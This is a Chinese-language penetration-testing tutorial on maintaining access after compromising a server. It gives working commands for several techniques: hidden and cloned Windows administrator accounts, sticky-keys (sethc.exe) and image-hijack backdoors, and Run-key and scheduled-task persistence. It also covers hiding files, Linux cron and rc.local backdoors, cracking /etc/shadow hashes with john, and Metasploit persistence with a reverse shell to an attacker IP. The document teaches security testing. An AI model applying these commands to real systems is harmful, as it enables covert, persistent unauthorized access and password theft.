1. 程式人生 > 其它 >滲透測試-26:許可權維持

滲透測試-26:許可權維持

許可權維持概述

  • 當攻擊者獲取伺服器許可權後,通常會採用一些後門技術來維持自己當前得到的許可權,伺服器一旦被植入後門,那麼攻擊者下次進入就方便多了
  • 由於攻擊可能被發現,會清除一些shell,導致目標丟失,所以需要留下後門來維持許可權,達到持續控制的目的

常見後門技術

  1. 隱藏、克隆賬戶
  2. shift 後門
  3. 啟動項、計劃任務
  4. 劫持技術
  5. Powershell 後門
  6. 遠控軟體
  7. 嗅探技術
  8. web 後門

Windows後門

隱藏克隆使用者

# 增加使用者
net user test 123 /add

# 加入管理員組
net localgroup adminitrators test /add

# 此時,執行 net user 就會被看到新建的使用者,比較容易被發現

增加隱藏賬戶

# 管理員許可權執行
net user test$ 123 /add

# 增加到管理員組
net localgroup administrators test$ /add

# 此時執行 net user 未發現test$賬戶,但在計算機右鍵點選管理,在本地使用者和組中可以發現 test$ 賬戶

克隆隱藏賬戶

# win+r => regedit
# => HKEY_LOCAL_MACHINE\SAM\SAM
# => 右鍵許可權給 administrator 賦予完全控制權限
# => \Domains\Account\Users\Names
# => F5 重新整理
# => 將需要克隆的使用者對應鍵值的 F選項 的許可權資訊替換掉 test$ 的許可權資訊
# => 右鍵匯出 test$ 和所對應鍵值的登錄檔資訊
# => 刪除使用者:net user test$ /del
# => 匯入剛才兩個匯出的登錄檔檔案,或者直接執行也可以
# => 使用 test$ 賬戶遠端連線測試,發現登陸後的賬戶是 lily

shfit後門

  • Windows 的粘滯鍵:C:\windows\system32\sethc.exe,它本是為不方便按組合鍵的人設計的,Windows 系統按 5 下 shift 後,Windows 就執行了
  • 當我們未登陸系統(停留在登陸介面)的時候 系統還不知道我們將以哪個使用者登陸,所以在這個時候連續按5次 shift 後的話系統將會以 system 使用者(具有管理員級別的許可權)來執行 sethc.exe 這個程式

實驗

  • 可以先使用 msfvenom 製作一個 windows 的木馬,改名為 sethc.exe
  • 然後替換掉檔案 C:\windows\system32\sethc.exe
  • 如果 sethc.exe 不能替換,是因為許可權的問題
  • 先可以更改該檔案的擁有者,再更改擁有者的許可權
  • 比如:在遠端連線登入頁面按下 5 次 shift,那麼就會反彈 shell

shift映像劫持後門

  • 映像劫持(Image File Execution Options),簡單的說,就是開啟程式A,而執行的確實程式B
  • 映像劫持是 windows 內設用來除錯程式的功能,但常被病毒惡意利用
  • 登錄檔:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options

實驗

  • 建立 sethc.exe 項後,新建 Debugger 字串,填入相應執行檔案的路徑
  • 按下 5 次 shift 後,會執行相應的執行檔案

啟動項後門

  • 新增啟動項,登出後再次登入,就會執行 shell8888.exe 惡意程式
  • 啟動項:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

計劃任務後門

  • 在 windows7 中執行:at <時間> "shell.exe"
  • 在到達時間之後,執行檔案執行
  • 不支援 at 命令的,可以使用 schtasks 命令

隱藏上傳的檔案

  • 為了避免被發現,上傳之後可以使用 attrib 命令將檔案隱藏
  • +s 表示設定系統屬性,+h 表示設定隱藏屬性
  • 例如:attrib +s +h shell8888.exe

Linux後門

  • 通過修改 /etc/rc.local 來新增啟動命令
  • 修改 /etc/crontab 檔案新增定時執行的程式或指令碼
  • 將啟動指令碼放置到 /etc/cron.hourly/etc/cron.daily/etc/cron.weekly/etc/cron.monthly 等週期性執行指令碼的目錄,將會定時啟動

計劃任務後門

編輯計劃任務:vim /etc/crontab

  • * This operator specifies all possible values for a field. For example, an asterisk in the hour time field would be equivalent to every hour or an asterisk in the month field would be equivalent to every month.
  • / This operator specifies a step value, for example: “0-23/” can be used in the hours field to specify command execution every other hour. Steps are also permitted after an asterisk, so if you want to say every two hours, just use */2.
  • - This operator specifies a range of values, for example: “5-15” days , which is equivalent to typing “5,6,7,8,9,….,13,14,15” using the comma operator.
  • , This operator specifies a list of values, for example: “1,5,10,15,20, 25”.

實驗

  • 準備好一個 shell.elf(使用 msfvenom 生成)
  • 編輯 crontab:vim /etc/crontab

補充內容

Linux密碼原理

Linux 系統涉及系統登入密碼的檔案主要有

  • 使用者資訊 /etc/passwd
  • 密碼資訊 /etc/shadow
root:$1$v2wT9rQF$XSpGgoB93STC4EFSlgpjg1:14181:0:99999:7:::

冒號是分割符,每個欄位分別代表著

  • 使用者名稱
  • :密碼hash值
  • :密碼修改距離 1970年1月1日 的時間
  • :密碼將被允許修改之前的天數(0 表示“可在任何時間修改”)
  • :系統將強制使用者修改為新密碼之前的天數(1 表示“永遠都不能修改”)
  • :密碼過期之前,使用者將被警告過期的天數(-1 表示“沒有警告”)
  • :密碼過期之後,系統自動禁用帳戶的天數(-1 表示“永遠不會禁用”)
  • :該帳戶被禁用的天數(-1 表示“該帳戶被啟用”)
  • :保留供將來使用

Linux系統加密演算法

root:$6$JtSkn6bdBSfw4vVS$SMCI4B1wFd2ywOPK.nrr07hQYR41MIszyDIY3Z9/BRD/Qq.YJRs4zKYDi0tIWreM92GHW7sRhwLZzQk4x2Tkb0:18853:0:99999:7:::

數字和所使用的加密演算法對應關係:

  • $1:MD5 加密演算法(22位)
  • $2:Blowfish 加密演算法(只在有一部分 linux 分支中使用的加密方法)
  • $5:SHA-256 加密演算法(43位)
  • $6:SHA-512 加密演算法(86位)
  • 其他格式為標準的 DES 加密演算法

john爆破Linux密碼

# 匯出密碼列表:
unshadow /etc/passwd /etc/shadow >pass

# 給 john 設定字典
john –-wordlist=/usr/share/john/password.lst pass

# 顯示破解成功的密碼
john –-show pass

MSF後門

程序注入

# 自動程序遷移
run post/windows/manage/migrate

Persistence模組

# -X 表示設定後門開機自啟,-i 每次連線嘗試之間的時間間隔
run persistence -P windows/x64/meterpreter/reverse_tcp -X -i 6 -p <PORT> -r <攻擊機IP>

Metsvc模組

通過 Metsvc 模組可以在已經獲得 shell 的目標主機上,開啟一個服務來提供後門的功能

# 自動安裝後門,meterpreter 執行
run metsvc –A